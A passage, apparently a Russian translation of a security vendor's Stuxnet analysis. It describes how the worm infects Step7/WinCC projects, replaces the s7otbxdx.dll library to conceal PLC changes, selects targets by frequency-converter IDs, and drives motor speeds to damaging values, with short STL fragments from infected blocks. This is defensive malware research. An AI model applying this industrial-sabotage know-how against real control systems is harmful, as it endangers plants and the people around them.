Одна из этих команд является законной, а другая - командой, добавленной Stuxnet. Если пользователь решает открыть диск через это меню, сначала выполнится Stuxnet. Затем Stuxnet открывает диск, чтобы скрыть что-либо подозрительное.

Рисунок 18

Две команды «Открыть» [Open]

Заражение проектных файлов Step 7

Главный экспорт, экспорт 16 вызывает экспорт 2, который применяется, чтобы прицепиться к специфическим API, которые используются для того, чтобы открыть файлы проектов внутри процесса s7tgtopx.exe. Этот процесс является менеджером WinCC Simatic, осуществляющим администрирование проектами WinCC/Step7.

Таблицы адресов импорта нижеследующих DLL модифицируются:

В s7apromx.dll, mfc42.dll и msvcrt.dll заменяется CreateFileA, чтобы указывать на “CreateFileA_hook”
В ccprojectmgr.exe заменяется StgOpenStorage, чтобы указывать на “StgOpenStorage_hook”.

CreateFileA обычно используется, чтобы открывать *.S7P проекты (файлы проекта Step7). Вместо этого будет вызвана процедура CreateFileA_hook. Если этот открытый файл имеет расширение .s7p, CreateFileA_hook вызывает RPC функцию No 9, которая ответственна за запись этого пути к зашифрованному файлу данных %Windir%infoem6c.pnf, и в конные концов инфицирует папку проекта, внутри которой расположен файл s7p.

StgOpenStorage используется менеджером Simatic, чтобы открывать файлы *.MCP. Эти файлы находятся внутри проекта Step7. Как и CreateFileA_hook, StgOpenStorage_hook будет отслеживать файлы с расширением *.mcp. Если такой файл доступен менеджеру, hook- функция вызовет RPC функцию No 9, чтобы записать путь к oem6c.pnf, и в конце концов инфицировать папку проекта, внутри которого расположен этот файл mcp.

Экспорт 14 является главной процедурой для инфицирования файлов проекта Step7.

Процедура, заражающая проекты, принимает путь к проекту как вход, и может инфицировать ее, вызывая выполнение Stuxnet, когда загружается проект. Путь к проекту может быть обычным путем к каталогу или путем к zip-файлу, содержащему проект.

Файлы внутри папки с проектом с расширениями .tmp, .s7p и .mcp обрабатываются особым образом.

Файлы S7P

Эти файлы являются файлами проекта Step7. Когда эти файлы обнаруживаются внутри папки проекта, проект может быть инфицирован. Проект может инфицироваться, если:

Он не слишком старый (использовался в последние 3,5 года);
Он содержит папку “wincproj” с действительным файлом MCP;
Он не является образцом проекта Step7, поскольку пути типа “*Step7Examples*” исключаются из рассмотрения.

Процесс инфицирования состоит из нескольких отдельных шагов:

1. Stuxnet создает следующие файлы:

xutilslistenxr000000.mdx (зашифрованная копия основной DLL Stuxnet) xutilslinkss7p00001.dbf (копия файла данных Stuxnet (длиной 90 байт)
xutilslistens7000001.mdx (закодированная, обновленная версия конфигурационного блока данных Stuxnet).

2. Вирус сканирует подпапки папки “hOmSave7”. В каждую из подпапок Stuxnet записывает копию DLL, которую он содержит внутри своего ресурса 202. Эта DLL записывается с использованием некоторого специфического имени файла, которое Symantec не раскрывает, и обозначено как xyz.dll.

3. Stuxnet модифицирует файл данных Step7, расположенный в Apilogtypes.

Когда инфицированный проект открывается менеджером Simatic, модифицированный файл данных включает поиск ранее упомянутый файл xyz.dll. Ниже следующие папки ищутся в таком порядке:

Папка S7BIN в установочной папке Step7 Папка %System%
Папка %Windir%system
Папка %Windir%
Подпапки папки проекта hOmSave

Если файл xyz.dll ни в одном из первых четырех перечисленных мест не найден, вредоносная DLL будет загружена и выполнена менеджером. Этот .dll файл действует как дешифровщик и загрузчик для копии главной DLL, расположенной в xutilslistenxr000000.mdx. Эта стратегия очень похожа на атаки с предварительной загрузкой DLL, которые появились в августе.

Затрагиваются версии 5.3 и 5.4 SP4 менеджера. Мы не уверены, затронуты ли последние версии менеджера (v5.4 SP5, v5.5, выпущенные в августе этого года).

Файлы MCP

Как и файлы .s7p файлы .mcp могут находиться в папке проекта Step7. Однако, они обычно создаются программой WinCC. Обнаружение такого файла внутри проекта может включить инфицирование проекта, а также инфицирование базы данных WinCC.

Проект будет кандидатом на инфицирование, если:

Он не считается слишком старым (использовался в течение последних 3,5 лет).
Он содержит папку GracS с по крайней мере одним файлом .pdl.

Затем процесс инфицирования состоит из следующих отдельных шагов:

1. Stuxnet создает следующие файлы:

GracScc_alg.sav (зашифрованная копия главной DLL Stuxnet)
GracSdb_log.sav (копия файла данных Stuxnet, который длиной 90 байт)
GracScc_alg.sav xutilslistens7000001.mdx (закодированная версия блока конфигурационных данных Stuxnet).

2. Затем копия ресурса 203 дешифруется и записывается в GracScc_tlg7.sav. Этот файл является файлом Microsoft Cabinet, содержащим некую DLL, используемую для загрузки и выполнения Stuxnet.

Во время данного процесса заражения может быть получен доступ к базе данных WinCC, и инфицирование распространяется на машину сервера базы данных WinCC. Эта процедура описана в разделе «Распространение по сети».

Файлы TMP

Прежде всего, для каждого обнаруженного .tmp файла внутри проекта проводится проверка действительности его имени. Он должен быть в виде ~WRxxxxx.tmp, где “xxxxx” – шестнадцатеричные цифры, чья сумма по модулю 16 равняется нулю. Например, ~WR12346.tmp будет подходящим, поскольку 1+2+3+4+6 = 16 = 0 по модулю 16.

Затем проверяется содержание файла. Первые восемь байт должны содержать следующую «магическую строку»: „LRW~LRW~‟. Если это так, то декодируются остальные данные. Это должен быть модуль Windows, который размещается в памяти. Выполняется экспорт 7 этого модуля.

Stuxnet может также заставить зараженный проект обновить самого себя. Если некий проект открывают, и он уже заражен, Stuxnet проверяет, является ли версия внутри более новой, чем текущее инфекция и выполняет ее. Это позволяет ему обновиться до наиболее свежей версии.

Существует три возможные формы инфицированных файлов проекта. Каждую из форм обрабатывает свой экспорт.

Экспорт 9 воспринимает проектный путь Step7 как входной и как будто бы инфицированный. Затем он создает пути к следующим файлам Stuxnet, расположенным внутри этого проекта:

...XUTILSlistenXR000000.MDX
...XUTILSlinksS7P00001.DBF
...XUTILSlistenS7000001.MDX

Эти файлы копируются во временные файлы (%Temp%~dfXXXX.tmp) и выполняется экспорт 16, главная входная точка в этой потенциально новой версии Stuxnet.

Экспорт 31 воспринимает проектный путь Step7 как входной и заранее инфицированный. Затем он создает пути к следующим файлам Stuxnet, расположенным внутри этого проекта:

...GracScc_alg.sav
...GracSdb_log.sav
...GracScc_tag.sav

Эти файлы копируются во временные файлы (%Temp%~dfXXXX.tmp). Затем в этих файлах вызывается экспорт 16, чтобы запустить эту версию Stuxnet.

Экспорт 10 подобен на 9 и 31. Он может работать с папками Step7 и извлекать файлы Stuxnet, расположенные в подпапках Gracs или Xutils. Он может также обращаться с Zip архивами.

Затем в извлеченных файлах используется экспорт 16, чтобы запустить извлеченную копию Stuxnet, и в конце концов обвновить конфигурационный блок данных.

Модификация программируемых логических контроллеров (ПЛК)

Ресурс 208 направлен экспортом #17 и является вредоносной заменой файла Simatic s7otbxdx.dll.

Во-первых, стоит помнить, что конечной целью Stuxnet является заражение определенных типов устройств SIMATIC программируемых логических контроллеров (ПЛК). Устройства ПЛК загружаются блоками кода и данных, написанных на различных языках, таких как STL или SCL. Скомпилированный код представляет собой сборку под названием MC7. Эти блоки затем запускаются ПЛК, чтобы выполнять, контролировать и отслеживать промышленный процесс.

Оригинал s7otbxdx.dll отвечает за обработку блоком ПЛК обмена между устройством программирования (т. е. компьютер с установленным SIMATIC Manager на Windows) и ПЛК. В случае его замены .dll-файла своим собственным Stuxnet способен выполнять следующие действия:

Отслеживание блоков ПЛК, записываемых и считываемых с ПЛК.

Инфицирование ПЛК, добавлением в него собственных блоков и заменой или заражением существующих блоков. Маскировка факта заражения ПЛК.

Введение в ПЛК Simatic

Для доступа к ПЛК необходимо установить специальное программное обеспечение. Stuxnet заточен на программное обеспечение WinCC / Step 7.

Установив это программное обеспечение, программист может подключиться к ПЛК с помощью кабеля передачи данных и получить доступ к содержимому памяти, перенастроить ее, загрузить на нее программу или отладить ранее загруженный код. Как только ПЛК будет сконфигурирован и запрограммирован, компьютер на Windows может быть отключен, и ПЛК будет функционировать сам по себе. Чтобы дать вам представление о том, как это выглядит, на рис.20 приведена фотография некоторого базового испытательного оборудования.

На рис. 21 показана часть вредоносного кода Stuxnet в Редакторе Step7 STL. Видно начало кода MC7 для одного из блоков функционального кода Stuxnet (FC). Показанный код взят из разобранного блока FC1873.

Как упоминалось ранее, программное обеспечение Step7 использует файл библиотеки под названием s7otbxdx.dll для выполнения фактической связи с ПЛК. Программа Step7 вызывает различные процедуры в этом случае .dll-файл, когда он хочет получить доступ к ПЛК. Например, если блок кода должен быть считан с ПЛК с помощью шага 7, вызывается подпрограмма s7blk_read. Код в s7otbxdx.dll получает доступ к ПЛК, считывает код и передает его обратно в программу Step7, как показано на рис. 22.

Глядя на то, как доступ к ПЛК работает, когда установлен вирус Stuxnet является, как только червь Stuxnet выполняет, переименовывает оригинальный файл s7otbxdx.dll в s7otbxsx.dll. Затем он заменяет оригинал .dll-файл со своей собственной версией. Stuxnet теперь может перехватывать любой вызов, который делается для доступа к ПЛК из любого программного пакета.

Файл Stuxnet s7otbxdx.dll содержит все потенциальные возможные экспортированные версии оригинала .dll – файла -максимум 109-что позволяет ему обрабатывать все те же запросы. Большая часть этого экспорта просто переправляется в настоящий .dll-файл, теперь называемый s7otbxsx. dll, и ничего неблагоприятного не происходит. На самом деле 93 из первоначальных 109 экспорта рассматриваются именно таким образом. Хитрость, однако, заключается в 16 экспортах, которые не просто пересылаются, но вместо этого перехватываются внедренным .DLL-файлом. Перехваченный экспорт - это, среди прочего, процедуры чтения, записи и перечисления блоков кода на ПЛК. Перехватывая эти запросы, Stuxnet может изменять данные, отправляемые или приходящие из ПЛК, оставляя оператора ПЛК в неведении. Именно с помощью этих процедур Stuxnet может скрыть вредоносный код, находящийся на ПЛК.

Ниже приведены наиболее распространенные типы блоков, используемых ПЛК:

Блоки данных (БД) содержат специфические для программы данные, такие как числа, структуры и т. д.
Блоки системных данных (SDB) содержат информацию о том, как сконфигурирован ПЛК. Они создаются в зависимости от количества и типа аппаратных модулей, подключаемых к ПЛК.
Организационные блоки (OB) являются точкой входа программ. Они выполняются циклически процессором. Что касается Stuxnet, то здесь можно выделить два примечательных OBs::
- OB1 - это основная точка входа в программу ПЛК. Он выполняется циклически, без особых временных требований.
- OB35-это стандартный организационный блок выполняющий функцию контроля, которая исполняется системой каждые 100 мс. Эта функция может содержать любую логику, которая должна контролировать критические входные данные, чтобы немедленно реагировать или выполнять функции критическим по времени образом.
- Функциональные блоки (FC) - это стандартные кодовые блоки. Они содержат код, который должен быть выполнен ПЛК. Как правило, блок OB1 ссылается по крайней мере на один блок FC.

Процесс заражения

Stuxnet заражает ПЛК различным кодом в зависимости от характеристик целевой системы. Последовательность заражения состоит из блоков кода и блоков данных, которые будут введены в ПЛК для изменения его поведения. Угроза содержит три основные последовательности заражения. Две из этих последовательностей очень похожи и функционально эквивалентны. Эти две последовательности называются A и B. Третья последовательность называется последовательностью С. Первоначально, если DLL работает внутри файла ccrtsloader.exe, вредоносный s7otbxdx.dll запускает два потока, отвечающих за заражение определенного типа ПЛК:

Первый поток запускает процедуру заражения каждые 15 минут. Целевая информация ПЛК ранее была собрана подключенным экспортом, в основном s7db_open (). Эта процедура заражения специально нацелена на процессоры 6ES7-315-2 (серия 300) со специальными характеристиками SDB. Последовательность заражения - А или В.

Второй поток регулярно запрашивает ПЛК для конкретного блока, который был введен первым потоком, если процесс заражения прошел успешно. Этот блок настраивается, и он влияет на то, как последовательности A или B выполняются на зараженном ПЛК. Наконец, внедрение последовательности С, по-видимому, отключено или было завершено лишь частично. Последовательность С может быть приписана только семейству 6ES7-417, а не в упомянутому выше семейству 6ES7-315-2.

Поток заражения, последовательности а и в

Этот поток запускает процедуру заражения каждые 15 минут. Когда ПЛК “найден", выполняются следующие действия:

Во-первых, тип ПЛК проверяется с помощью API s7ag_read_szl. Это должен быть ПЛК типа 6ES7-315-2.

Блоки SDB проверяются, чтобы определить, должен ли ПЛК быть заражен, и если да, то в какой последовательности (A или B).

Если два вышеперечисленных шага пройдены, начинается настоящий процесс заражения. Блок DP_RECV копируется в FC1869, а затем заменяется вредоносным блоком, встроенным в Stuxnet.

Вредоносные блоки выбранной последовательности заражения записываются в ПЛК.

OB1 заражается таким образом, что последовательность вредоносного кода выполняется в начале цикла.

OB35 также заражен. Он действует как сторожевой пес и при определенных условиях может остановить выполнение OB1. Три ключевых этапа процесса заражения подробно описаны ниже.

Проверка СБД

Системные блоки данных перечислены и обработаны. Stuxnet должен найти СБД с DWORD со смещением 50h, равным 0100CB2Ch. Это указывает на то, что система использует коммуникационный процессорный модуль Profibus CP 342-5. Profibus-это стандартная промышленная сетевая шина, используемая для распределенного ввода-вывода, кроме того, ищутся и подсчитываются конкретные значения: 7050h и 9500h. Проверка СБД проходит, если и только если общее число найденных значений равно или больше 33. Это, по-видимому, идентификационные номера Profibus, которые требуются для всех устройств Profibus DP, кроме устройств мастер-класса 2. Идентификационные номера присваиваются производителям компанией Profibus & Profinet International (PI) для каждого типа производимых ими устройств. 7050h присваивается номеру детали KFC750V3, который, по-видимому, является приводом преобразователя частоты (также известным как частотно-регулируемый привод) производства Fararo Paya в Тегеране, Иран. 9500h назначается приводам преобразователей частоты Vacon NX производства компании Vacon, базирующейся в Финляндии. Приводы преобразователей частоты используются для управления скоростью другого устройства, например двигателя. Например, если частота увеличивается, скорость двигателя увеличивается. Приводы преобразователей частоты используются во многих отраслях промышленного управления, включая системы водоснабжения, ОВКВ, газопроводы и другие объекты. Таким образом, целевая система использует Profibus для связи по меньшей мере с 33 преобразователями частоты одного или обоих производителей, где последовательность а выбирается, если присутствует больше устройств Vacon, и последовательность в выбирается, если присутствует больше устройств Fararo Paya.

Подмена DP_RECV

DP_RECV- это название стандартного функционального блока, используемого сетевыми сопроцессорами. Он используется для приема сетевых кадров на Profibus - стандартной промышленной сетевой шине, используемой для распределенного ввода-вывода. Исходный блок копируется в FC1869, а затем подменяется вредоносным блоком. Каждый раз, когда функция используется для получения пакета, вредоносный блок Stuxnet берет управление на себя: он вызывает исходный DP_RECV в FC1869, а затем выполняет постобработку пакетных данных.

Заражение OB1/OB35

Stuxnet использует простую технику заражения с добавлением кода для заражения организационных блоков. Например, при заражении OB1 выполняется следующая последовательность действий:

Увеличьте размер исходного блока.
Добавьте вредоносный код в начало блока.
Вставьте исходный код OB1 после вредоносного кода.

Рисунок 24 иллюстрирует OB1 до и после заражения.

Блоки последовательности

Последовательности А и В чрезвычайно близки и функционально эквивалентны. Они состоят из 17 блоков, вредоносного подмененного блока DP_RECV, а также зараженных блоков OB1 и OB35. На рис. 25 показаны связи между блоками.

Условные обозначения:

Стрелки между двумя кодовыми блоками означают, что блок вызывает или выполняет другой блок.

Розовый блок представляет собой основной блок, вызываемый из зараженного OB1.

Белые блоки-это стандартные блоки кода Stuxnet.

Желтые блоки также являются блоками Stuxnet, но скопированы из библиотеки стандартных блоков Simatic. Они выполняют общие функции, такие как сравнение временных меток.

Серые блоки не являются частью Stuxnet; это системные функциональные блоки, часть операционной системы, работающей на ПЛК. Они используются для выполнения системных задач, таких как чтение системных часов (SFC1).

Зеленые блоки представляют собой блоки данных Stuxnet.

Обратите внимание, что названия блоков вводят в заблуждение (за исключением желтых и серых блоков) в том смысле, что они не отражают реального назначения блока. Последовательности A и B перехватывают пакеты на Profibus с помощью блока подключения DP_RECV. На основе значений, найденных в этих блоках, генерируются и отправляются по проводу другие пакеты. Это контролируется сложной машиной состояний, реализованной в различных кодовых блоках, составляющих последовательность. Распознать зараженный ПЛК в чистой среде можно, изучив блоки OB1 и OB35. Зараженный OB1 начинается со следующих инструкций, предназначенных для запуска последовательности заражения и потенциально короткого замыкания выполнения OB1 при определенных условиях:

UC FC1865 

POP 

L DW#16#DEADF007

==D 

BEC 

L DW#16#0 

Зараженный OB35 начинается со следующих инструкций, предназначенных для короткого замыкания OB35 в определенных условиях:

UC FC1874

POP 

L DW#16#DEADF007

==D 

BEC 

L DW#16#0 

Поток слежения

Этот вторичный поток используется для мониторинга блока данных DB890 последовательности A или B. Хотя этот блок постоянно запускается и зондируется (каждые 5 минут), этот поток не имеет никакой цели, если ПЛК не заражен. Цель потока-следить за каждым S7-315 на шине. Когда начинается процедура саботажа, поток записывает в блок DB890 все остальные S7-315 на шине, чтобы они также начали процедуру саботажа. Этот поток приводит к тому, что атака начинается почти одновременно для всех устройств S7-315 на одной шине.

Поведение ПЛК, зараженного последовательностью A/B

Последовательности инфекции а и в очень похожи. Если не указано иное, то, что здесь упомянуто, относится к обеим последовательностям.

Код инфекции для 315-2 имеет следующую структуру:
- Замененный блок DP_RECV (далее называемый "монитор DP_RECV") предназначен для мониторинга данных, передаваемых приводами преобразователей частоты на процессор 315-2 через коммуникационные модули CP 342-5 Profibus.
- Поддерживается до 6 коммуникационных модулей CP 342-5 Profibus. Каждый из них является ведущим в своей собственной подсети Profibus с 31 приводом преобразователя частоты в качестве ведомых. Записываются адреса модулей CP 342-5. Обратите внимание, что документация по процессору 315-2 рекомендует не более 4 модулей CP 324-5, но теоретически может поддерживать больше, в зависимости от производительности процессора.
- Кадры, отправленные по Profibus, проверяются. Ожидается, что они будут иметь определенный формат. Каждый кадр должен иметь 31 запись—по одной для каждого ведомого устройства—либо 28, либо 32 байта, поскольку формат немного отличается для двух различных приводов преобразователей частоты. Некоторые поля сохраняются.
- Другие блоки реализуют конечный автомат, который управляет процессом. Переходы из состояния i в состояние i+1 основаны на событиях, таймерах или завершениях задач.
  - В состоянии 1 поля, записанные монитором DP_RECV, проверяются для определения того, находится ли целевая система в определенном рабочем состоянии. Когда достаточное количество полей соответствует простым критериям, происходит переход в состояние 2.
  - В состоянии 2 запускается таймер. Переход в состояние 3 происходит по истечении двух часов.
  - В состояниях 3 и 4 сетевые кадры генерируются и отправляются на Profibus ведомым устройствам DP. Содержимое этих кадров является полуфиксированным и частично зависит от того, что было записано монитором DP_RECV.
  - Состояние 5 инициирует сброс различных переменных, используемых последовательностью заражения (не путать со сбросом ПЛК), перед переходом в состояние 1. Переход в состояние 0 также может произойти в случае ошибок.
  - В состоянии 0 запускается 5-часовой таймер.

На рис. 29 представлен упрощенный вид этой машины состояний.

Нормальный путь выполнения-1-2-3-4-5-1, как показано сплошными синими стрелками на диаграмме. Давайте подробно рассмотрим, что происходит во время каждого состояния.

Начальное состояние-1 (обведено красным). Переход в состояние 2 может занять довольно много времени. Код специально отслеживает записи в кадрах, передаваемых с приводов преобразователей частоты, которые содержат текущую рабочую частоту (скорость управляемого устройства). Это значение удерживается со смещением 0xC в каждой записи кадра и называется PD1 (parameter data 1). Значения частоты могут быть представлены в герцах (Гц) или децигерцах (децигц). Злоумышленники ожидают, что частотные приводы будут работать в диапазоне от 807 Гц до 1210 Гц. Если PD1 имеет значение больше 1210, код предполагает, что передаваемые значения представлены в децигерцах, и корректирует все значения частоты в 10 раз. Например, 10000 будет считаться 10 000 децигерц (1000,0 Гц), а не 10 000 Гц. Процедура, которая подсчитывает эти записи (здесь и далее называемые событиями), вызывается один раз в минуту.

События подсчитываются с ограничением 60 в минуту. Кажется, что это оптимальная, ожидаемая скорость развития событий. Глобальный счетчик событий, первоначально установленный на 1,187,136, должен достичь 2,299,104, чтобы инициировать переход в состояние 2. Если мы предположим, что оптимальное число событий равно 60 (максимум может быть 186, но помните о верхнем пределе), причем отсчет запускается каждую минуту, переход происходит через (2299104-1187136)/60 минут, что составляет 12,8 дня.

Переход из состояния 2 в состояние 3 - это вопрос ожидания 2-х часов.

В состояниях 3 и 4 происходят два сетевых пакета отправки. Генерируемый трафик является полуфиксированным и может быть одной из двух последовательностей. Последовательности состоят из нескольких кадров, каждый из которых содержит 31 запись. Каждый кадр передается на каждый модуль CP 342-5, который передает соответствующую запись внутри кадра каждому из 31 ведомых приводов преобразователя частоты.

Для последовательности инфекции А (для преобразователей частоты Vacon):

Последовательность 1 состоит из 147 кадров:
- 145 кадров для подпоследовательности 1А, отправленных во время состояния 3.
- 2 кадра для подпоследовательности 1b, отправленные во время состояния 4.
- Последовательность 2, состоящая из 163 кадров:
  - 127 кадров для подпоследовательности 2а, отправленных во время состояния 3.
  - 36 кадров для подпоследовательности 2b, отправленных во время состояния 4.

Для последовательности инфекции B (для преобразователей частоты Fararo Paya):

Последовательность 1 состоит из 57 кадров:
- 34 кадра для подпоследовательности 1А, отправленные во время состояния 3.
- 23 кадра для подпоследовательности 1b, отправленные во время состояния 4.
- Последовательность 2 состоит из 59 кадров:
  - 32 кадра для подпоследовательности 2а, отправленные во время состояния 3.
  - 27 кадров для подпоследовательности 2b, отправленных во время состояния 4.

Переход из состояния 3 в состояние 4 занимает 15 минут для последовательности 1 и 50 минут для последовательности 2.

Данные в кадрах - это инструкции для приводов преобразователей частоты. Например, один из кадров содержит записи, которые изменяют максимальную частоту (скорость, с которой будет работать двигатель). Приводы преобразователей частоты состоят из параметров, которые могут быть дистанционно сконфигурированы с помощью Profibus. В эти параметры можно записать новые значения, меняющие поведение устройства. Значения, записанные на устройства, можно найти в приложении С.

Следует отметить, что для последовательности А максимальная частота устанавливается на 1410 Гц в последовательности 1А, а затем устанавливается на 2 Гц в последовательности 2a, а затем установите значение 1064 Гц в последовательности 2b. Таким образом, скорость двигателя изменяется от 1410 Гц до 2 Гц до 1064 Гц, а затем снова. Напомним, что нормальная рабочая частота в это время должна быть между 807 Гц и 1210 Гц.

Таким образом, Stuxnet саботирует систему, замедляя или ускоряя двигатель до разных скоростей в разное время.

При возникновении ошибки сетевой отправки (выполняемой через элементарную процедуру DP_SEND) будет предпринято еще до двух попыток повторной отправки кадра. Случаи, когда ведомый сопроцессор не запускается, также изящно обрабатываются с помощью таймеров.

Во время состояний 3 и 4 выполнение исходного кода в OB1 и OB35 временно приостанавливается Stuxnet. Это, вероятно, используется для предотвращения помех от нормального режима работы, в то время как Stuxnet отправляет свои собственные кадры.

Во время обработки состояния 5 различные поля инициализируются перед переходом в состояние 1 и началом нового цикла.

Два основных события:

Глобальный счетчик событий сбрасывается (который изначально был 1187136). Это означает, что будущие переходы из состояния 1 в состояние 2 должны занять около 26,6 дней.
- Монитор DP_RECV сбрасывается. Это означает, что процесс подчиненного сбора информации должен повториться до того, как произойдет слежение за кадром. (Кстати, обратите внимание, что процесс ведомого сбора информации запускается каждые 5,5 часов.).

Затем происходит переход в состояние 0, если было сообщено об ошибке. “Ошибка " в этом контексте обычно означает, что OB1 занял слишком много времени для выполнения (более 13 секунд). В противном случае происходит регулярный переход в состояние 1.

Следует отметить, что короткие замыкания, используемые для перехода непосредственно из состояний 0 и 1 в состояние 3, отключаются, чтобы немедленно начать процедуру саботажа. Это происходит, когда другой S7-315 на том же канале выполнил период ожидания. Поток мониторинга Windows изменит DB890, установив флаг, в результате чего код ПЛК немедленно начнет процедуру саботажа и больше не будет ждать необходимого времени. Это поведение синхронизирует процедуру саботажа во всех 315-х, управляемых одной и той же системой Windows.

Давайте подробно рассмотрим назначение монитора DP_RECV и последующие кадры, отправленные в состоянии 3 и 4. Код ожидает структуру из 31 записи размером 28 или 32 байта (в зависимости от того, какой частотный привод установлен). Вот заголовок такой записи:

Смещение	Тип	Имя
0	word	ID
2	word	Index (IND)
4	dword	VALUE
8	word	ControlWord (CW)/StatusWord (SW)
10	word	Reference (REF)/Actual (ACT)
12	word	Process Data 1 (PD1)

Монитор особенно интересуется полями SW, ACT и PD1. Записываются следующие фрагменты информации:

Есть ли десятый бит в наборе SW? Это указывает на то, что управление полевой шиной включено (можно управлять устройствами через Profibus).
ACT положительное или отрицательное целое число? Положительное представляет собой прямое направление, а отрицательное - обратное.

Остальные поля игнорируются.

При достижении состояний 3 и 4 исходный код ПЛК останавливается, и вредоносный код ПЛК начинает посылать кадры данных на основе записанных значений во время фазы монитора DP_RECV. Целью отправки кадров является изменение поведения приводов преобразователей частоты. Прежде всего DP_SEND будет посылать такие же типы кадров, как и те, которые, как ожидается, будут получены DP_RECV (что означает, что каждый кадр будет содержать 31 запись по 28 или 32 байта—по одной записи для каждого ведомого преобразователя частоты). Каждая отправленная запись изменяет конфигурацию, например максимальную частоту на приводе преобразователя частоты. Поля записи будут равны нулю, за исключением полей ID, Value, CW и REF.

ID указывает параметр для изменения. Формат идентификатор поля в таблице 6
VALUE содержит новое значение для конкретного параметра. Для значений частоты может быть применен десятикратный коэффициент, если система была определена с использованием единиц дециГерц.
CW (ControlWord) в последовательности A обычно устанавливается на 47Fh, что означает " Run’, но может начинаться с отправки 477h (Stop by Coast) и заканчивается с помощью 4FFh (Fault Reset). CW в последовательности B устанавливается на 403h.
REF может варьироваться от 100% до -100%, представленного 10000 или -10000. Это указывает на то, что привод должен работать на максимальной (100%) частоте либо в прямом (положительном 10000), либо в обратном (отрицательном 10000) направление. Прежнее направление, до того как поведение приводов преобразователя частоты было угнано, сохраняется, но на 100% потенциально с новой максимальной частотой.

Чтобы более четко проиллюстрировать поведение введенного кода, мы описали ключевые события, которые могли бы произойти с зараженным процессором 315-2, подключенным к нескольким модулям CP 342-5, каждый из которых имеет 31 ведомый привод преобразователя частоты, как показано на диаграмме ниже.

ПЛК заражен.
Frequency converter slaves send records to their CP342-5 master, building a frame of 31 records The CPU records the CP-342-5 addresses.
Кадры исследуются, а поля записываются.
Примерно через 13 дней было записано достаточно событий, показывающих, что система работает в диапазоне от 807 Гц до 1210 Гц.
Зараженный ПЛК генерирует и отправляет последовательность 1 в свои приводы преобразователей частоты, устанавливая частоту на 1410 Гц.
Нормальная работа возобновляется
Примерно через 27 дней было зафиксировано достаточно событий.
Зараженный ПЛК генерирует и отправляет последовательность 2 на свои приводы преобразователей частоты, устанавливая частоту сначала на 2 Гц, а затем на 1064 Гц
Нормальная работа возобновляется.
Примерно через 27 дней было зафиксировано достаточно событий.
Зараженный ПЛК генерирует и отправляет последовательность 1 в свои приводы преобразователей частоты, устанавливая частоту на 1410 Гц.
Нормальная работа возобновляется.
Примерно через 27 дней было зафиксировано достаточно событий.
Зараженный ПЛК генерирует и отправляет последовательность 2 на свои приводы преобразователей частоты, устанавливая частоту сначала на 2 Гц, а затем на 1064 Гц
…

Последовательность C

У Stuxnet есть вторая стратегия саботажа, нацеленная на ПЛК S7-417. Однако процедура является неполной, и код ПЛК, называемый последовательностью С, никогда целенаправленно не копируется на ПЛК и не выполняется. Хотя мы можем предположить, что инъекция кода ПЛК была активна в предыдущее время, сама последовательность С выглядит незавершенной, содержит нереализованные случаи, неиспользуемые блоки кода и тестовый или отладочный код. Эта последовательность более сложна, чем последовательности A или B. Он содержит больше блоков кода и данных (32), а также генерирует блоки данных на лету, используя определенные блоки SFC. На рисунке ниже представлена последовательность С.

Рисунок 28

Соединения Между Блоками, Последовательность С

Внедрение последовательности С

Процедура установки кода ПЛК S7-417 начинается, когда оператор целевой системы выполняет операцию записи в ПЛК S7-417, например обновление кода. В SDB7 читается и DB8061 (состоящая из данных "Stuxnet") создается на основе значений в SDB7. Однако из-за неполной функции в DLL DB8061 никогда не создается, и данные, содержащиеся в DB8061, неизвестны. В частности, ссылка на функцию существует, но при вызове возникает исключение Windows. Исключение перехватывается, и выполнение возобновляется, как если бы DB8061 был создан.

Рисунок 29

Код, в котором возникает исключение

Блоки, составляющие последовательность С, затем записываются в ПЛК, включая модификации SDB0 и SDB4, а также создается OB80, если он ранее не существовал. OB80-это прерывание ошибки события времени, которое вызывается при превышении максимального времени цикла. Ожидается, что SDB0 будет содержать записи, содержащие информацию о конфигурации процессора. Блок анализируется, и в него вставляется статическая запись длиной 10 байт. Цель этой вставки неизвестно. Однако, в отличие от того, что происходит с последовательностями A и B, в блоке не производится поиск конкретных значений. Кроме того, запись 13 SDB0 может быть изменена.

Отметка времени создания SDB0 увеличивается, и эта временная метка воспроизводится в определенном месте в SDB4 для обеспечения согласованности. Последовательность C записывается, и Stuxnet также проверяет, существует ли OB80, или же создает пустую.

Позже модификация OB1 (точка входа), необходимая для выполнения последовательности C, никогда не происходит. Код для изменения OB1 требует успешного завершения отсутствующей функции, и поскольку функция вызывает исключение, OB1 не изменяется, а остальные блоки кода последовательности C никогда не выполняются.

Даже если OB1 модифицирован для выполнения последовательности C, отсутствующий (или существующий несвязанный) DB8061 приведет к неправильной работе последовательности C. Наконец, даже если OB1 был изменен и DB8061 содержал правильные значения, нереализованные случаи в последовательности C, вероятно, заставили бы его работать непредсказуемо. Таким образом, последовательность С кажется незавершенной.

Stuxnet также подключает Шаг 7 для мониторинга записи специально в SDB7. Когда SDB7 будет записан, Stuxnet изменит три байта в DB8061. Таким образом, если DB8061 уже существует случайно на целевом ПЛК, три значения будут случайно изменены, что может привести к повреждению работы ПЛК.

Ниже приводится пошаговая сводка неудачного процесса внедрения:

Чтение SDB7
Попытка сгенерировать DB8061, которая завершается неудачей
Изменение SDB0, SDB4
Копирование последовательности блоков C в ПЛК (без перезаписи существующих блоков)
Создание OB80, если он не существует
Изменение OB1 (не происходит)

Поведение последовательности С

Ниже описано поведение последовательности С. Однако это никогда не происходит из-за отсутствующей функции в DLL. Последовательность с состоит из 40 блоков, 26 из которых содержат код Stuxnet, 4-стандартные блоки кода и 10 содержат данные.

Последовательность С состоит из конечной машины с восемью состояниями. DB8061 имеет решающее значение для функционирования последовательности C из-за того, что DB8061 отсутствует, точное поведение последовательности С неизвестно.

Состояние 0: Ожидание

Код предполагает шесть групп из 164 периферийных устройств. Основываясь на знаниях из кода S7-315, это могут быть шесть каскадов, содержащих по 164 центрифуги в каждом. Stuxnet отслеживает группы, и сумма времени активности для всех групп должна быть больше 297 дней или для одной группы больше 35 дней. Кроме того, все группы должны быть активны не менее трех дней.

Состояние 1: Запись

Создаются DB8064 - DB8070 (семь блоков), каждый из которых содержит три подблока, в общей сложности 21 подблок. Входная область изображения ввода-вывода копируется в каждый подблок с интервалом в одну секунду между копиями, образуя 21-секундную запись входной области. Область ввода содержит информацию, передаваемую в ПЛК с периферийного устройства. (Например, текущее состояние клапана или температура устройства.)

Состояние 2-6: Саботаж

